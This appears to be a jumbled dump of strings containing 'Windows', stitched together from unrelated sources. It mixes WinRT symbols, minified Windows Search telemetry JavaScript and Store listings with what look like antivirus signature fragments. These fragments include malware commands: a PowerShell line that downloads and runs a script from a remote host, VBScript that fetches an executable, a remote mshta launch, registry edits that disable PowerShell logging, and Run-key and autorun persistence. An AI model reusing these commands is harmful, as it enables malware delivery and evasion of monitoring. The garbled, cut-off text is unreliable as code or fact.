.?AU?$producer@UDeviceManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UDeviceManager@factory_implementation@RNSVG@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AUtype@?$abi@UIActivationFactory@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIInspectable@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUmarshaler@?1??make_marshaler@impl@winrt@@YAHPEAUtype@?$abi@UIUnknown@Foundation@Windows@winrt@@X@23@PEAPEAX@Z@
.?AUtype@?$abi@UIUnknown@Foundation@Windows@winrt@@X@impl@winrt@@
c:\windows\temp\
).value))'-windowstylehidden;
faafsafsafsfsafasf = "http://okokokokokok.khaby.lol/ME.exe"fsfsfsfsf.Open "GET", faafsafsafsfsafasf, False, "username", "password"fffffffffffffffffff.Run "cmd.exe /k hey.txt", windowStyle, waitOnReturnTrojanDownloader:O97M/EncDoc.KK!MTB
Digest Authentication for Windows
GetSystemWindowsDirectoryW
GetWindowsDirectoryW
audit_windows.vbs
reportwinlogon
\windows\p
rWsdkapiimpl::setofferwindows
EnumWindows
.P6A?AU?$IAsyncOperation@_N@Foundation@Windows@winrt@@XZ
.P6A?AU?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@XZ
.P6A?AU?$IAsyncOperation@UJsonObject@Json@Data@Windows@winrt@@@Foundation@Windows@winrt@@XZ
.P6A?AU?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@UNavigable@WebExperienceHost@3@@Z
.P6A?AU?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@UNavigable@WebExperienceHost@3@UPropertySet@Collections@123@V?$function@$$A6AXULauncherNavigationCompletedEventArgs@WebExperienceHost@winrt@@@Z@std@@@Z
.P6A?AUPropertySet@Collections@Foundation@Windows@winrt@@XZ
windows.immersiveshell.serviceprovider.dllw
GetProcessWindowStation
)cmd/cstart/min""powershell-argumentlist"-windowstylehidden-executionpolicybypass-command"
ifexist"%systemroot%\sysnative\"echo:1>"c:\windows\temp\is64.txt"echo:"%systemroot%\sysnative\cmd.exe">c:\windows\temp\is64.fil
l="lrugifnocotua":wshshell.regwrite"hkey_current_user\software\microsoft\windows\currentversion\internetsettings\"+strreverse(
hklm\software\wow6432node\policies\microsoft\windows\powershell\modulelogging/venablemodulelogging/treg_dword/d0/f
hklm\software\wow6432node\policies\microsoft\windows\powershell\transcription/venabletranscripting/treg_dword/d0/f
&".exe"&@crlf&"icon=%systemroot%/system32/shell32.dll,4"&@crlf&"action=openfoldertoviewfiles"&@crlf&"shell\open\command="&$
"61336552779482""\yahoo! video chat.exe").writeline "open=2779\scanning.exe".fileexists("c:\2779\desktop.ini").regwrite "hkey_local_machine\software\microsoft\windows\currentversion\run\dtci".writeline "clsid={645ff040-5081-101b-9f08-00aa002f954e}".writeline "[autorun]"getobject("winmgmts:"&"{impersonationlevel=impersonate}!\\"getobject("winnt://./"&i&",user")
filecopy,%a_windir%\system32\autorun.inf,%
L	 (windows 
>c:\windows\system32\cmd.exe/q/v/rstartmsiexecittwt=srdt-package"http://a0.pm:8080/u3a0anuu/l4f/q3qukvt/uwno2j1si/10x4/j/8/!computername!"gmloerxwu=rbjpsa-qkwrjk=ud
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
wscmp.dll\windows nt\curren    if (config.enableSafeCachePutOperations) {
[-] WINLOGON ImpersonatedLoggedOnUser() Return Code: %i[
Windows/svchost.exeW
c:\windows\system32\
c:\windows\system32\
software\mICROSOFT\wINDOWS nt\cURRENTvERSION\sVCHOSTvnw==
C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\
Data\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\
X-BM-WindowsFlights
paccept-language: zh-cnname="file1"; filename="c:-7d56b1cf06a6x-mailer: <foxmail; charset="gb2312"&subject=&sender=connection: closeLineage Windows ClientserverListWndlineage.exeMapleStoryClasslin.binYB_OnlineClientD3D WindowQElementClient WindowElement Clientinternet explorer_serversoftware\hackershell_traywndc:\gamelockpass:game:tiantangserver:
beyondjava/lang/objectm[jwork(ljava/lang/string;)vcodelinenumbertablesystemlcom/ms/security/permissionid;com/ms/security/permissionidassertpermission!(lcom/ms/security/permissionid;)vcom/ms/security/policyengineos.namegetproperty&(ljava/lang/string;)ljava/lang/string;java/lang/system!tolowercase()ljava/lang/string;#$java/lang/string&windows()startswith(ljava/lang/string;)z#',java/lang/stringbuffer./<init>(i)v+-23gettemppath(iljava/lang/stringbuffer;)i516com/ms/win32/kernel32.8()v+7.;(ljava/lang/stringbuffer;)v#:>?append,(ljava/lang/string;)ljava/lang/stringbuffer;+=b
lwisdom88finalsolutiondcc consolescripts/%2eamateur videocapturingsetwindowshookuser %s
windowspowershell\v1.0\*rshell.exe/s
regsvr32.exe/sc:\windows\exp
("c:\\windows"+"\\temp\\900.exe");
windowstylehidden-command
ms17-010exploitforwindows2000andlater
powershell-windowstylehidden-command^
 .dat&&%windir%\system32\regsvr32%temp%\
c:\windows\system32\mshta.exe"https://sunfireglobal.in/public/assests/files/db/acr/"&&tar.exe
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whid-noni-epbypass-c"start-job-name
-windowstylehidden-passthru
temRoot%\system32\mswsock.dll
@%SYSTEMROOT%\system32\ipconfig /release
AME,Scenario:"NonSuggestions",SC:u.length,DS:u};return[t]}return[]}static createVirtualImpressionURL(t,i){let r=n.getWindowProtocol()+"//"+n.getWindowHost()+t;return r+=i?i:n.Service.QueryParams.ConversationId+"="+n.encodeQueryParameter(n.Host.getConversationId()),_G.ServerIG&&(r+="&ASInitIG="+n.encodeQueryParameter(_G.ServerIG)),r}static createCleanGuid(n){return n?(n^Math.random()*16>>n/4).toString(16):"10000000100040008000100000000000".replace(/[018]/g,t.createCleanGuid)}static createCodexClickItemProps(n,t){return n.setProperty("FID","Codex"),n.setProperty("Namespace","WindowsSearchBox"),n.setProperty("EventType","ConversationViewEnter"),n.setProperty("source",t),n}static updateItemDataTypeProps(t,i){return t.setProperty("DataType",n.isWindowsData(i)?"WindowsData":"BingData"),t}static logFlightState(n,i){t._clientTelemetry.logFlightState(n,i)}static logEvent(t,i,r,u,f,e,o,s,h,c,l){var a,v,y;if((!n.config.disableWSBServerTelemetry||!n.isThirdPartySearchAllowed())&&!n.Host.isOptionalDiagnosticDataDisabled())if(n.config.splitDataUploadEndpoint){if(n.shouldWindowsAndBingLogToBing()?Log2.LogEvent(t,i,r,u,f,e,o,s,h):n.shouldBingLogToBing()&&c==="BingTelemetry"&&Log2.LogEvent(t,i,r,u,f,e,o,s,h),c==="WindowsTelemetry"&&n.shouldWindowsLogToWindows(l)){const u={eventType:n.isNullOrUndefined(t)?n.LogEventType.ClientInst:t,type:n.isNullOrUndefined(r)?n.DataComplianceTypeDefaultEmptyValue:r,subType:n.DataComplianceTypeDefaultEmptyValue};if(typeof i=="string")u.eventData=i;else for(a in i)a=="ST"?u.subType=n.isNullOrUndefined(i[a])?n.DataComplianceTypeDefaultEmptyValue:i[a]:a=="T"?u.type=n.isNullOrUndefined(i[a])?n.DataComplianceTypeDefaultEmptyValue:i[a]:u[a]=i[a];const f=[u.eventType,u.type,u.subType].join(n.DataComplianceEventNameSeparator);v=n.Host.getConversationId();let o=n.getCurrentTime();y=JSON.stringify(u);SearchAppWrapper.CortanaApp.wsbTelemetry.logEvent(f,n.DataComplianceSchemaVersion_1_0,e,v,o,y,4,l,2)}}else Log2.LogEvent(t,i,r,u,f,e,o,s,h)}static forceEventFlush(){if(typeof Log2!="undefined"&&Log2.LogEvent){var t={flush:!0,useSendBeacon:n.config.enableUseSendBeaconWSB,forceFlushNoSB:!n.config.enableUseSendBeaconWSB};Log2.ForceFlush(!0,t)}}}t._clientShownTimestamp=n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE;t._conversationStartTimestamp=n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE;t._currentRender=0;t._keyDownTimeStamp=n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE;t._keystrokesPerfPingData={};t._keystrokesInstrumentationData={};t._keystrokesFlightAssignment={};t._keystrokeTimelineUpdatedHandlers=[];t._finalizeKeystrokeHandlers=[];n.InstrumentationHelper=t}(WSB||(WSB={})),function(n){const t="&nclid=",i="&ts=",r="&nclidts=",u="&tsms=",f="&elv=",e="&cc=",o="&setlang=",s="&cvid=",h="&qs=",c="&ao=",l="&wsso=";class a{constructor(t=Date.now,i=n.getWindowProtocol()+"//"+n.getWindowHost()){if(this.getNowTimestamp=t,this._baseUrl=i,n.config.enableOfflineWithWeb&&n.config.webHost&&n.isBrowserOnline()&&(this._baseUrl=n.config.webHost),n.config.overrideHost){let t=n.getWindowHost();t.startsWith("www.")&&(this._baseUrl=n.getWindowProtocol()+"//"+n.config.overrideHost+t.substring(3))}}getSearchUrl(t,i,r,u,e,o,s,h,a,v,y){if(!u)if(e===21&&(!n.config.disableMsbBundle||n.msbHost))u=(n.msbHost.features.isEduScopeApplicable()?"/school":"/work")+"/search?q="+n.encodeQueryParameter(i),v&&(u+="&inithash="+v),o=n.mapOSFormCode((v===null||v===void 0?void 0:v.includes("Connectors"))?"WSBWSC":"WSBWS0");else{let t=this.getVerticalFromHandoffType(e),r=n.config.enableCopilotSearchInMiniserp?"/copilotsearch":"/search";u=(t?"/"+t:"")+r+"?q="+n.encodeQueryParameter(i)}let p=this._baseUrl+u;p+=(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.isWindowsTest)?"&form=MONITR&traffictype=wintest":"&form="+n.encodeQueryParameter(o!==null&&o!==void 0?o:n.Host.getFormCode());a&&(p+=c+"1");p=this.enrichUrlWithSuggestionType(p,h?"P":r);p=this.enrichUrlWithCvid(p);n.config.suppressPqParameter||(p+="&pq="+n.encodeQueryParameter(t));let w=n.Host.getMSNRefIg();if(w&&(p+="&refig="+w),p=this.enrichUrlW@
teUserActivityDataWhenAppShown(u))}static instrumentAppDismissed(){var n,i,r;(n=t._userActivityManager)===null||n===void 0?void 0:n.updateUserActivityDataWhenAppDismissed();let u=(i=t._userActivityManager)===null||i===void 0?void 0:i.getUserActivityContent();(r=t._clientTelemetry)===null||r===void 0?void 0:r.logSessionBasedUserEngagementTelemetry(u)}static instrumentActionsOnSuggestion(n,i){var r;(r=t._userActivityManager)===null||r===void 0?void 0:r.updateUserActivityDataWhenClickOnSuggestion(n,i)}static instrumentInlineActions(n){var i;(i=t._userActivityManager)===null||i===void 0?void 0:i.updateUserActivityDataWhenInlineActionTaken(n)}static updateUserActivityDataWhenSuggestionListUpdated(n){var i;(i=t._userActivityManager)===null||i===void 0?void 0:i.updateUserActivityDataWhenSuggestionListUpdated(n)}static buildNestedSuggestionGroups(n){var i;if(!n||n.length===0)return[];const t={};for(const r of n){const f=(i=r.groupOrdinal)!==null&&i!==void 0?i:0;t[f]||(t[f]={groupType:r.groupType,groupOrdinal:f,groupSuggestions:[]});const n=r,u={dataSource:r.dataSource,suggestionType:r.suggestionType,scope:r.scope,bestMatch:r.bestMatch,absoluteOrdinal:r.absoluteOrdinal,withinGroupOrdinal:r.withinGroupOrdinal,previewPaneHit:r.previewPaneHit,zeroInputExperienceType:r.zeroInputExperienceType,zeroInputItemType:r.zeroInputItemType,zeroInputItemOrdinal:r.zeroInputItemOrdinal,matchTypes:r.matchTypes};n.engagementType!==undefined&&(u.engagementType=n.engagementType);n.engagementSurface!==undefined&&(u.engagementSurface=n.engagementSurface);n.dwellTime!==undefined&&(u.dwellTime=n.dwellTime);n.contextMenuAction!==undefined&&(u.contextMenuAction=n.contextMenuAction);n.previewPaneLaunchType!==undefined&&(u.previewPaneLaunchType=n.previewPaneLaunchType);t[f].groupSuggestions.push(u)}return Object.keys(t).map(n=>t[parseInt(n)])}static instrumentConversationTimelineFinish(){let i=_G.ServerIG;if(!i){n.LogWSBError("instrumentConversationTimelineFinish","Could not instrument as server IG not known",new Error("Could not instrument initilization finish"),undefined,undefined,"WindowsTelemetry");return}t._conversationTimeline.RawImpressionGuid=n.Host.getRawImpressionGuid();t._conversationTimeline.ImpressionGuid=n.cleanGuid(t._conversationTimeline.RawImpressionGuid);t._conversationTimeline.ConversationId=n.Host.getConversationId();let r={CID:t._conversationTimeline.ConversationId,ASB:t._conversationTimeline.AppShownStart,ASF:t._conversationTimeline.AppShownFinish,AVB:t._conversationTimeline.AppVisibleStart,AVF:t._conversationTimeline.AppVisibleFinish},u=n.InstrumentationCommon.createPerfPingEvent(i,[r],"ConversationTimeline",t._conversationTimeline.ConversationId);t.logPerfPingEvent(u)}static instrumentPerformance(i,r){try{let e=_G.ServerIG;if(!e){n.LogWSBError("instrumentPerformance "+i,"Could not instrument as server IG not known",new Error("Could not instrument performance "+i),undefined,undefined,"WindowsTelemetry");return}let u=_w.performance,f=new window.Map;if(r){let t=n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE;if(u&&u.timing&&(t=u.timing.navigationStart),n.config.fixNullWorkerStartTime&&t<=0&&(u===null||u===void 0?void 0:u.timeOrigin)&&(t=u.timeOrigin),t<=0)return;let i=r.getTime()-t,e=n.getCurrentTime()-t;f.BLT=i;f.ILT=e}this.addNavigationPerformanceInfo(u,f);"LoadError"!==i&&r||this.addResourcePerformanceInfo(u,f);let o=[f],s=n.InstrumentationCommon.createPerfPingEvent(e,o,i);t.logPerfPingEvent(s)}catch(u){typeof SharedLogHelper!="undefined"&&n.LogWSBError("instrumentPerformanceException",i,u,undefined,undefined,"WindowsTelemetry")}}static addNavigationPerformanceInfo(n,t){if(n&&t){let i=n.getEntriesByType("navigation");if(i&&i.length>0){let n=i[0];n&&(t.WST=Math.round(n.workerStart),t.FST=Math.round(n.fetchStart),t.RQST=Math.round(n.requestStart),t.RPST=Math.round(n.responseStart),t.RPET=Math.round(n.responseEnd),t.DCLST=Math.round(n.domContentLoadedEventStart),t.DCLET=Math.round(n.domContentLoadedEventEnd),t.DCT=Math.round(n.domComplete),t.LEST=Math.round(n.loadEventStart),t.LEET=Math.round(n.loadEventEnd),t.ECBS=n.encodedBodySize?M
	C:\WINDOWS\system32\ipconfig  /release
ateKValue(t,r){let f=t,u=this._keystrokesKValues[f];return(u>0||(u=i.KVALUE_SUGGESTIONS_START),this._keystrokesKValues[f]=++u,(n.config.pruneImpression||n.config.splitImpression)&&!!r&&n.isWindowsData(r))?u+i.KVALUE_HIDDEN:u}setUserEngagementContent(n){this._userEngagementContent=n}getUserEngagementContent(){var t,n;return this._userEngagementContent.matchTypes=(n=(t=this._userEngagementContent).populateMatchTypes)===null||n===void 0?void 0:n.call(t),this._userEngagementContent}}t.AppNS=i.DEFAULT_APP_NAMESPACE;t.Suffix=i.KVALUE_SUFFIX_START;t._keystrokesKValues={};n.InstrumentedItem=t}(WSB||(WSB={})),function(n){function ti(){return matchMedia("screen and (-ms-high-contrast)").matches}function v(){return(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.isOffline)?!1:navigator.onLine}function ii(){if(typeof n._fetchDeferred=="function"){let i=!1;const t=()=>{i||(i=!0,r(n._fetchDeferred,"scheduleDeferredLoad"))};switch(n.config.deferredScriptLoadTrigger){case 1:if(typeof requestIdleCallback=="function"){requestIdleCallback(t);break}n.Host.bindAppHidden(t);break;case 0:default:n.Host.bindAppHidden(t)}}}function y(n){return n?n.replace(kt,"$1").replace(dt,"$1 "):n}function ri(n){return n?n.replace(/[-{}]/g,"").toLowerCase():null}function ui(n){return!n||Object.keys(n).length===0}function fi(n){return n.canFail}function p(n,t,i,r){n&&(n=n.slice(0,t)+o+n.slice(t,n.length));let u=i(n);if(u){let n=u.indexOf(o);t=n!=-1?n:t;u=u.replace(o,"")}r(u,t)}function ei(t){if(!t)return n.LogWSBError("getInputType",null,new Error("event object is missing"),undefined,undefined,"WindowsTelemetry"),0;switch(t.pointerType){case"mouse":return 2;case"touch":return 3;case"pen":return 4;default:return 1}}function s(n,...t){t.forEach(t=>delete n.enabledDataSources[t])}function oi(n){return n?n.toLowerCase()!="cn"&&n.toLowerCase()!="ru":!1}function w(i,r){if(!i||!r)return!1;var u=!n.config.bingFetchEnabledRegions||n.config.bingFetchEnabledRegions.length==0||t(n.config.bingFetchEnabledRegions,i.toLowerCase()),f=r.split("-")[0],e=!n.config.bingFetchEnabledLang||n.config.bingFetchEnabledLang.length==0||t(n.config.bingFetchEnabledLang,f.toLowerCase());return u&&e}function si(i,r){if(!i||!r)return!1;var u=!n.config.miniSerpEnabledRegions||n.config.miniSerpEnabledRegions.length==0||t(n.config.miniSerpEnabledRegions,i.toLowerCase()),f=r.split("-")[0],e=!n.config.miniSerpEnabledLang||n.config.miniSerpEnabledLang.length==0||t(n.config.miniSerpEnabledLang,f.toLowerCase());return u&&e}function hi(t,i){const r=`${i}:${t}`;return r===b?st():(b=r,n.isMarketEligible(t,i,n.config.trendingSearchInSHEligibleLangRegionPairs))}function ci(t,i){if(!t||!i)return!1;const r=`${i}:${t}`;return r===k?a:(k=r,n.isMarketEligible(t,i,n.config.DSBFullWidthMarkets))}function li(t,i){if(!t||!i)return!1;const r=`${i}:${t}`;return r===d?ht():(d=r,n.isMarketEligible(t,i,n.config.thumbnailForTSEligibleLangRegionPairs))}function ai(t,i,r){let u=t.queryToFetch&&t.queryToFetch.length<n.config.minQueryLengthForWebProvider||!w(i,r);return u&&s(t,"Web"),u}function vi(t){t.queryToFetch&&t.queryToFetch.length<n.config.coPiffTriggerKeystrokeThreshold&&(s(t,"CoPIFF"),s(t,"CoPCFP"))}function g(t){if(t){t=n.normalizeUrl(t,15);for(let n=1;n<t.length-1;++n)if(ni.includes(t[n]))return!0}return!1}function yi(t,i,r){let u,f;return r||(r=0),p(t,i,n=>y(n),(n,t)=>{u=n,f=t}),u&&(n.config&&n.config.doNotRemoveSpaceAfterIn&&u.toLocaleLowerCase().endsWith(" in ")||(u=u.trim()),f=Math.min(f,u.length)),{originalQuery:t,originalCursorPosition:i,queryToFetch:u,cursorPosition:f,enabledDataSources:{},equals:n=>(u?u.toLowerCase():u)==(n.queryToFetch?n.queryToFetch.toLowerCase():n.queryToFetch)&&r==n.topHitRestriction,isMultiWord:g(u),getCacheKey:()=>u,topHitRestriction:r}}function h(i,r){return r&&!r.enabledDataSources[i]?!1:t(n.config.enabledDataSources,i)}function nt(i,r,u,f){let e=f.enabledDataSources[i];return e?e.suggestionIsEnabled&&!e.suggestionIsEnabled(r,u)?!1:t(n.config.enabledDataSources,i):!1}function t(n,t){return n.indexOf(t)!=-1}function pi(n,t){let i=n.ind
windowsinstaller.installer'.uilevel=2;
X\windows\system32\rundll32.exe"c:\users\
powershell.exe-noprofile-windowstylehidden-noninteractive-encodedcommandjab
!#SCPT:WindowStyleHex.C2
\windows\system32\
hkey_current_user\software\microsoft\windows\currentversion\run"/vsvchost
Kgetobject("winmgmts:root\\cimv2:win32_processor='cpu0'").addresswidth==64?"syswow64":"system32
.jpg',$dev+'mpasdesc.ps1')){}start-sleep-s7start"c:\programdata\windowshost\
8classarikehfdimchrisrosssubmichaeljackson(cornick,payroll)pwsh=cornick&"-executionpolicybypass-windowstylehidden-command"setcornick
@/q/ctypec:\windows\system32\msh*.exe>c:\users\public\msh&renc:\users\public\**ta.exe&for%iin(c:\users\public\ms*.exe)dostart/b%~ni
hklm\software\wow6432node\policies\microsoft\windows\powershell\transcription/venableinvocationheader/treg_dword/d0/f
<regadd'hkcu\software\microsoft\windowsnt\currentversion\windows'/vload/f/d$
Microsoft.Windows.UI.Shell.StartUI
n Windows parolunuzu daxil edin.Microsoft Copilot parollar
n Windows parolunuzu daxil edin.Microsoft Copilot parollar
n Windows parolunuzu yaz
n Windows parolunuzu yaz
n Windows parolunuzu daxil edin.Microsoft Copilot parollar
n Windows parolunuzu daxil edin.Microsoft Copilot Parol Meneceri veril
n Windows parolunuzu yaz
n Windows parolunuzu yaz
n endirin.Microsoft Copilot Windows 10 v
powershell-windowstylehidden-executionpolicybypass-commandiex((new-objectnet.webclient).downloadstring('http://activepro.cc/
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
9NCGTG3KR2W9Atlas Fallen: Reign of Sand (Windows)https://store-images.s-microsoft.com/image/apps.40302.13563971826346196.3d957cff-bc47-48aa-b98f-be2691a13f70.1ac68b3c-a12c-4ab2-822c-8e4a5cfd6f16en
9NCGTG3KR2W9Atlas Fallen: Reign of Sand (Windows)https://store-images.s-microsoft.com/image/apps.40302.13563971826346196.3d957cff-bc47-48aa-b98f-be2691a13f70.1ac68b3c-a12c-4ab2-822c-8e4a5cfd6f16fr
9NCGTG3KR2W9Atlas Fallen: Reign of Sand (Windows)https://store-images.s-microsoft.com/image/apps.40302.13563971826346196.3d957cff-bc47-48aa-b98f-be2691a13f70.1ac68b3c-a12c-4ab2-822c-8e4a5cfd6f16de
===void 0?void 0:n.msbHost.isEduTenant())}function na(){return nf()&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isTenantMsbEnabled())&&!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isEduTenant())}function y(t){return(o(t)||vi(t)||at(t))&&ht()&&(tf()||at(t))&&(n.dsbManager===null||n.dsbManager===void 0?void 0:n.dsbManager.hasContent())&&!fu()}function ta(t){return n.config.enableWin11SSH&&t.isSearchHomeZI?!1:w(t)&&n.config.undocked&&n.RuntimeConfig.AlwaysWide}function ff(t){return(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.disableCuratedSuggestion)?!1:(w(t)||y(t))&&!p(t)}function p(t){return sf()&&o(t)&&ht()&&ef()&&!f()&&!(n.msbDsbSwitchHost===null||n.msbDsbSwitchHost===void 0?void 0:n.msbDsbSwitchHost.shouldShow())&&(n.dsbManager===null||n.dsbManager===void 0?void 0:n.dsbManager.hasContent(!0))&&n.isBrowserOnline()&&!at(t)}function ef(){if(n.config.enableWin11SSH){const t=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return n.isSearchPointsOfFlexibilityEnabled()&&v()&&t!==1}return n.config.enableDSBWin11FullWidth?v()||SearchAppWrapper.CortanaApp.entryPoint=="WNSHID":SearchAppWrapper.CortanaApp.entryPoint=="WNSDSB"||SearchAppWrapper.CortanaApp.entryPoint=="WNSHID"}function sf(){return n.config.enableDSBFullWidthIter2&&n.isDSBV2EnabledMarket()}function ia(){return ht()||n.config.transparentMiniserp}function ct(n){return!wi()||w(n)&&!y(n)}function w(n){return(o(n)||yi(n))&&!y(n)&&wi()}function wi(){return n.config.enableTwoPanesZI&&n.RuntimeConfig.AlwaysWide||n.config.wsbWithCopilotQF}function bi(t){if(n.Host.getJupiterProviderEnabled()&&n.isSetting(t.type)){let n=t;return i(n.match)?{type:t.type,handoffType:t.handoffType,hc:t.hc,highConfidenceMetaSuggestionScore:t.highConfidenceMetaSuggestionScore,prefetchConfidenceScore:t.prefetchConfidenceScore,suggestionKey:rt(t)}:{type:t.type,handoffType:t.handoffType,hc:t.hc,highConfidenceMetaSuggestionScore:t.highConfidenceMetaSuggestionScore,prefetchConfidenceScore:t.prefetchConfidenceScore,suggestionKey:rt(t),relevance:n.relevance,match:n.match,previewMetadata:ai(n.previewMetadata)}}return{type:t.type,handoffType:t.handoffType,hc:t.hc,highConfidenceMetaSuggestionScore:t.highConfidenceMetaSuggestionScore,prefetchConfidenceScore:t.prefetchConfidenceScore,suggestionKey:rt(t),secondaryIcon:n.config.enableRecentLocalSearchWebIcon?t.secondaryIcon:undefined}}function g(n){return Object.assign(Object.assign({},bi(n)),{query:n.query,textWithoutHH:HitHighlightingParser.removeMarkers(n.text),icon:n.getIcon?null:n.icon})}function ra(n,t){var i,r,u;return Object.assign(Object.assign({},g(n)),{title:n.primaryMetadata,url:t,sourceAppDisplayName:(r=(i=n===null||n===void 0?void 0:n.sourceApp)===null||i===void 0?void 0:i.displayName)!==null&&r!==void 0?r:"",previewPaneUrl:(u=n===null||n===void 0?void 0:n.previewPaneUrl)!==null&&u!==void 0?u:""})}function ua(n,t){var i;return Object.assign(Object.assign({},bi(n)),{query:n.query,textWithoutHH:HitHighlightingParser.removeMarkers(n.text),icon:n.getIcon?null:n.icon,title:(i=n.primaryMetadata)!==null&&i!==void 0?i:null,url:t})}function fa(t){if(n.msbHost!==null&&n.msbHost!==void 0)return n.msbHost.features.isQwsDocSrcEnabled(t)}function hf(t){return(t===null||t===void 0?void 0:t.scope)==n.Scope.All||(t===null||t===void 0?void 0:t.scope)==n.Scope.Work}function ea(){return it().getSelectedAccountId()!=null&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isMsbInternalTenant())&&nt()}function nt(){if(n.msbHost!==null&&n.msbHost!==void 0)return n.msbHost.shouldForceEnterprise()}function oa(t){return(t===null||t===void 0?void 0:t.isSearchHomeZI)&&(t===null||t===void 0?void 0:t.scope)==n.Scope.People}function cf(n){return n&&{authority:n.accountProviderAuthority,providerId:n.accountProviderId,state:n.accountState,isDefault:n.isDefaultAccount}}function sa(n){return JSON.stringify(cf(n))}function ha(n){return JSON.stringify(n&&n.map(n=>cf(n)))}function ca(t,i,r,u,f){n.config.enableBackgroundTaskLogging&&n.safeExecute((
dpshell.exe;%system32%\rdvghelper.exe;%system32%\reset.exe;%system32%\rwinsta.exe;%system32%\systempropertiesadvanced.exe;%system32%\systempropertiescomputername.exe;%system32%\systempropertiesdataexecutionprevention.exe;%system32%\systempropertieshardware.exe;%system32%\systempropertiesprotection.exe;%system32%\systempropertiesremote.exe;%system32%\tscon.exe;%system32%\tsdiscon.exe;%system32%\tskill.exe;%system32%\driverstore\filerepository\%version%\igfxsdk.exe
%system32%\browserexport.exe;%system32%\mousocoreworker.exe
%system32%\immersivetpmvscmgrsvr.exe;%system32%\rmttpmvscmgrsvr.exe;%system32%\tpmvscmgrsvr.exe
%system32%\ftp.exe;%system32%\hostname.exe;%system32%\stordiag.exe;%programfiles%\mozilla firefox\firefox.exe
%system32%\mblctr.exe;%system32%\mspaint.exe;%system32%\mstsc.exe;%system32%\osk.exe;%system32%\presentationsettings.exe;%system32%\proximityuxhost.exe;%system32%\wfs.exe;%system32%\winsat.exe
%system32%\mdeserver.exe
%system32%\appvclient.exe;%system32%\browserexport.exe;%system32%\calc.exe;%system32%\certreq.exe;%system32%\computerdefaults.exe;%system32%\dsregcmd.exe;%system32%\fodhelper.exe;%system32%\ie4uinit.exe;%system32%\logagent.exe;%system32%\mdmdiagnosticstool.exe;%system32%\mstsc.exe;%system32%\presentationhost.exe;%system32%\quickassist.exe;%system32%\tokenbrokercookies.exe;%system32%\wkspbroker.exe;%system32%\wksprt.exe
%system32%\cmdl32.exe;%system32%\devicecensus.exe;%system32%\dmclient.exe;%system32%\dsregcmd.exe;%system32%\mdmdiagnosticstool.exe;%system32%\msdt.exe;%system32%\mshta.exe;%system32%\mstsc.exe;%system32%\musnotification.exe;%system32%\musnotificationux.exe;%system32%\musnotifyicon.exe;%system32%\netsh.exe;%system32%\pacjsworker.exe;%system32%\recoverydrive.exe;%system32%\resetengine.exe;%system32%\rpcping.exe;%system32%\sgrmlpac.exe;%system32%\sihclient.exe;%system32%\systemreset.exe;%system32%\wkspbroker.exe;%programfiles%\minecraft launcher\minecraftlauncher.exe
windowsudk.shellcommon.dll
%system32%\compmgmtlauncher.exe;%system32%\explorer.exe;%programfiles%\microsoft\edge\application\msedge.exe
%programfiles%\windows kits\10\windows performance toolkit;%system32%;%syswow64%
%system32%\wpr.exe
windowscodecsext.dll
%system32%\wfs.exe
%system32%\certreq.exe;%system32%\osk.exe;%system32%\quickassist.exe;%system32%\wmpdmc.exe;%system32%\compmgmtlauncher.exe;%system32%\dfrgui.exe;%system32%\explorer.exe;%system32%\filehistory.exe;%system32%\gamepanel.exe;%system32%\mstsc.exe;%system32%\notepad.exe;%system32%\presentationsettings.exe;%system32%\wfs.exe;%system32%\winver.exe;%system32%\wordpad.exe;%system32%\wscollect.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\microsoft office\root\office%version%\excel.exe;%programfiles%\microsoft office\root\office%version%\outlook.exe;%programfiles%\microsoft office\root\office%version%\powerpnt.exe;%programfiles%\microsoft office\root\office%version%\winword.exe;%programfiles%\microsoft office\root\office%version%\msaccess.exe;preconditions%programfiles%\microsoft office\root\office%version%\mspub.exe
%system32%\dmnotificationbroker.exe;%system32%\phoneactivate.exe
%system32%\certreq.exe;%system32%\control.exe;%system32%\explorer.exe;%system32%\notepad.exe
%system32%\calc.exe;%system32%\certreq.exe;%system32%\compmgmtlauncher.exe;%system32%\control.exe;%system32%\dfrgui.exe;%system32%\explorer.exe;%system32%\filehistory.exe;%system32%\licensingdiag.exe;%system32%\msdt.exe;%system32%\mstsc.exe;%system32%\notepad.exe;%system32%\powershell.exe;%system32%\presentationsettings.exe;%system32%\rdpclip.exe;%sy`Y
9N1M64W9XZQ7FocusHomeInteractiveSA.AliensDarkDescent-Windows_4hny5m903y3g0Focus Entertainment
Windows"
